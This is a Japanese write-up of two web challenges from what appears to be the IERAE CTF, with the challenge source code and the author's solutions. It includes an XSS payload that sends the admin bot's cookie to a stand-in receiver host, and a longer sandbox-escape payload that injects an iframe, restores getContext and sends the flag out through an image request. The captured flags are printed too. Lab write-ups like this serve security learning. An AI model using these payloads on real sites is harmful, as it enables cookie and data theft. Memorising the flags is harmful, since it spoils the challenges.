Writer:b1uef0x / Webページ建造途中
チームで参加してWeb専業で2問解いた。Warmdownを片付けてからSlide Sandboxとcanvasboxをやっていたが、easy詐欺を見た。
Warmdown = Warmup + Markdown
WebのWarmup問題。port 3000にチャレンジページ、port 1337にAdmin botに巡回させる機能がある。
チャレンジページではMarkdownを書くことができ、searchクエリになるのでURLとして渡すことができる。以下はチャレンジページのコード。
index.jsimport fastify from "fastify";
import * as marked from "marked";
import path from "node:path";
const app = fastify();
app.register(await import("@fastify/static"), {
root: path.join(import.meta.dirname, "public"),
prefix: "/",
});
const sanitize = (unsafe) => unsafe.replaceAll("<", "<").replaceAll(">", ">");
const escapeHtml = (str) =>
str
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
const unescapeHtml = (str) =>
str
.replaceAll("&", "&")
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll(""", '"')
.replaceAll("'", "'");
app.get("/render", async (req, reply) => {
const markdown = sanitize(String(req.query.markdown));
if (markdown.length > 1024) {
return reply.status(400).send("Too long");
}
const escaped = escapeHtml(marked.parse(markdown));
const unescaped = unescapeHtml(escaped);
return { escaped, unescaped };
});
app.listen({ port: 3000, host: "0.0.0.0" });
Admin botのページではURLを渡すとbotに巡回させることができる。以下はAdmin botのコード。
index.jsimport express from "express";
import rateLimit from "express-rate-limit";
import { visit, APP_URL } from "./bot.js";
const PORT = "1337";
const app = express();
app.use(express.json());
app.use(express.static("public"));
app.get("/app-url", async (req, res) => {
return res.send(APP_URL);
});
app.use(
"/api",
rateLimit({
// Limit each IP to 4 requests per 1 minute
windowMs: 60 * 1000,
max: 4,
})
);
app.post("/api/report", async (req, res) => {
const { url } = req.body;
if (
typeof url !== "string" ||
(!url.startsWith("http://") && !url.startsWith("https://"))
) {
return res.status(400).send("Invalid url");
}
try {
await visit(url);
return res.sendStatus(200);
} catch (e) {
console.error(e);
return res.status(500).send("Something wrong");
}
});
app.listen(PORT);
bot.jsimport puppeteer from "puppeteer";
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const APP_HOST = "web";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;
// Flag format
if (!/^IERAE{\w+}$/.test(FLAG)) {
console.log("Bad flag");
process.exit(1);
}
const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));
export const visit = async (url) => {
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: "new",
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
const context = await browser.createBrowserContext();
try {
await context.setCookie({
name: "FLAG",
value: FLAG,
domain: APP_HOST,
path: "/",
});
const page = await context.newPage();
await page.goto(url, { timeout: 5_000 });
await sleep(5_000);
await page.close();
} catch (e) {
console.error(e);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
};
まずはXSSから。チャレンジページで以下のコードを使うとalertが出るのでXSS可能。
<img src="#" onerror="alert(1);">
bot.jsを見るとflagはcookieに入っている。よって次のコードを埋め込んでAdmin botに巡回させるとflagを取得できる。(example.exampleの部分は任意の受信先を指定)
<img src="#" onerror="fetch('ht'+'tps://example.example?'+document.cookie)">
IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}
The flag is hidden in the canvas. You cannot access it, even with XSS...
warmdownと同じくチャレンジページとAdmin botで構成される。
チャレンジページではsearchクエリに与えた文字列でXSSを試せるページになっている。コードは以下の通り。
index.jsimport express from "express";
import fs from "node:fs";
const html = fs.readFileSync("index.html", { encoding: "utf8" });
express()
.use("/", (req, res, next) => {
res.setHeader("Cross-Origin-Opener-Policy", "same-origin");
res.setHeader(
"Content-Security-Policy",
"base-uri 'none'; frame-ancestors 'none'"
);
next();
})
.get("/", (req, res) => res.type("html").send(html))
.listen(3000);
index.jsではCOOPが同一オリジンのみ、ページのframe等への埋め込みが禁止されている。
クライアント側に降ってくるHTMLは以下の通り。
index.html<!DOCTYPE html>
<body>
<h1>XSS Playground</h1>
<script>
(() => {
const flag = localStorage.getItem("flag") ?? "this_is_a_flag";
localStorage.removeItem("flag");
const canvas = document.createElement("canvas");
canvas.id = "flag";
canvas.getContext("2d").font = `1px "${flag}"`; // :)
document.body.appendChild(canvas);
delete window.open;
const removeKey = (obj, key) => {
delete obj[key];
if (key in obj) {
Object.defineProperty(obj, key, {});
}
};
for (const descriptor of Object.values(
Object.getOwnPropertyDescriptors(window)
)) {
const value = descriptor.value;
const prototype = value?.prototype;
if (prototype instanceof Node || value === DOMParser) {
// Delete all the properties
for (const key of Object.getOwnPropertyNames(value)) {
removeKey(value, key);
}
for (const key of Object.getOwnPropertyNames(prototype)) {
removeKey(prototype, key);
}
}
}
})();
const params = new URLSearchParams(location.search);
const xss = params.get("xss") ?? "console.log(1337)";
eval(xss); // Get the flag!
</script>
</body>
後述するAdmin botはlocalStorageにflagを入れており、これを取り出してcanvasのfontに書き込み、localStorageを削除、さらにwindow.openとDOM関連のプロパティを大量に削除している。
例えば上図のようにalertを出すことは簡単だが、fontを取るためにflag.getContext("2d")
を呼ぼうとするとgetContextが削除されて使用できない。
Admin botページではWarmupと同じく任意のURLをbotに巡回させることができる。Admin botのコードは以下の通り。
index.jsimport express from "express";
import rateLimit from "express-rate-limit";
import { visit, APP_URL } from "./bot.js";
const PORT = "1337";
const app = express();
app.use(express.json());
app.use(express.static("public"));
app.get("/app-url", async (req, res) => {
return res.send(APP_URL);
});
app.use(
"/api",
rateLimit({
// Limit each IP to 4 requests per 1 minute
windowMs: 60 * 1000,
max: 4,
})
);
app.post("/api/report", async (req, res) => {
const { url } = req.body;
if (
typeof url !== "string" ||
(!url.startsWith("http://") && !url.startsWith("https://"))
) {
return res.status(400).send("Invalid url");
}
try {
await visit(url);
return res.sendStatus(200);
} catch (e) {
console.error(e);
return res.status(500).send("Something wrong");
}
});
app.listen(PORT);
bot.jsimport puppeteer from "puppeteer";
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const APP_HOST = "web";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;
// Flag format
if (!/^IERAE{\w+}$/.test(FLAG)) {
console.log("Bad flag");
process.exit(1);
}
const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));
export const visit = async (url) => {
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: "new",
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
const context = await browser.createBrowserContext();
try {
const page1 = await context.newPage();
await page1.goto(APP_URL, { timeout: 3_000 });
await page1.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, FLAG);
await sleep(1_000);
await page1.close();
const page2 = await context.newPage();
await page2.goto(url, { timeout: 5_000 });
await sleep(5_000);
await page2.close();
} catch (e) {
console.error(e);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
};
Admin botはまずhttp://web:3000を開いてlocalStorageにflagを書き込んでから巡回先のページを開くようになっている。チャレンジページを開いて書き込まれたlocalStorageを読み取る前提の作りとなる。
よって、やるべきことは、DOM関連のプロパティが削除された環境からスタートして、canvas内のfontに入っているflagを取得することとなる。
方針としてはcanvas.getContext("2d")を呼びたいので、まずOffscreenCanvasのgetContextを試す。ChatGPTを使ってOffscreenCanvasのgetContextをcanvasに移植するコードを考えてもらう。flagが入っているcanvasはwindow.flagで取得できる。
(() => {
const cvs= window.flag;
const canvasProto = Object.getPrototypeOf(cvs);
const realGetContext = OffscreenCanvas.prototype.getContext;
Object.defineProperty(canvasProto, 'getContext', {
configurable: true,
writable: true,
value(type, ...rest) {
return realGetContext.apply(new OffscreenCanvas(0, 0), [type, ...rest]);
}
});
const ctx = cvs.getContext('2d');
const flag = ctx.font;
alert(flag);
})();
これをURLエンコードとしてxss=につけてページを開く。1px this_is_a_flag
が返ってきてほしいが、結果は10px sans-serif
になった。
どうやらOffscreenCanvasのgetContextでは元のgetContextとは違うものを取ってしまうようだ。オリジナルのgetContextがほしい。
チャレンジページはiframe等に埋め込まれることは禁止されているが、iframeを埋め込むことは禁止されていない。iframeを埋め込んでiframe内から元のgetContextを手に入れたい。
試行錯誤すると、DOM関連の機能を消されていてもRange.createContextualFragmentを使うとiframeを書き出すことができた。
a = new Range().createContextualFragment("<iframe id='ctx2' sandbox='allow-same-origin allow-scripts allow-modals' srcdoc='<!doctype html><canvas id=\"flag2\"></canvas><script>alert(flag2.getContext(\"2d\"))</script>'></iframe>");
flag.parentElement.appendChild(a)
子フレーム内のcanvasからgetContextを手に入れることができた。さらにparent.flagで親フレームのcanvasも参照できる。
a = new Range().createContextualFragment("<iframe id='ctx2' sandbox='allow-same-origin allow-scripts allow-modals' srcdoc='<!doctype html><script>alert(parent.flag)</script>'></iframe>");
flag.parentElement.appendChild(a)
材料は揃ったので、子フレーム内で元のgetContextを入手して、親フレームのparent.flagに移植し、fontの中身を取り出して送信するコードをChatGPTと一緒に作った。必要だったかどうかはわからないがfetchより耐性の強いimage.srcを使うコードになる。(example.exampleの部分は任意の受信先を指定)
a = new Range().createContextualFragment(`
<iframe id="ctx2"
sandbox="allow-same-origin allow-scripts allow-modals"
srcdoc='<!doctype html>
<canvas id="flag2"></canvas>
<script>
(() => {
const donorCanvas = document.getElementById("flag2");
const donorGetCtx = donorCanvas.__proto__.getContext;
Object.defineProperty(parent.HTMLCanvasElement.prototype, "getContext", {
value: donorGetCtx,
writable: true,
configurable: true,
enumerable: false
});
if (parent.flag)
parent.flag.getContext = donorGetCtx.bind(parent.flag);
const ctx3 = parent.flag.getContext("2d");
const fontStr = ctx3.font;
const url = "http://example.example?"+fontStr;
new Image().src = url;
})();
</script>'>
</iframe>`);
flag.parentElement.appendChild(a);
これをURLエンコードしてxss=につけて実行すると自分のページに1px this_is_a_flag
が返ってきた。ドメインをweb:3000にして、Admin botに巡回させるとflagを入手。
IERAE{DOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOMDOM}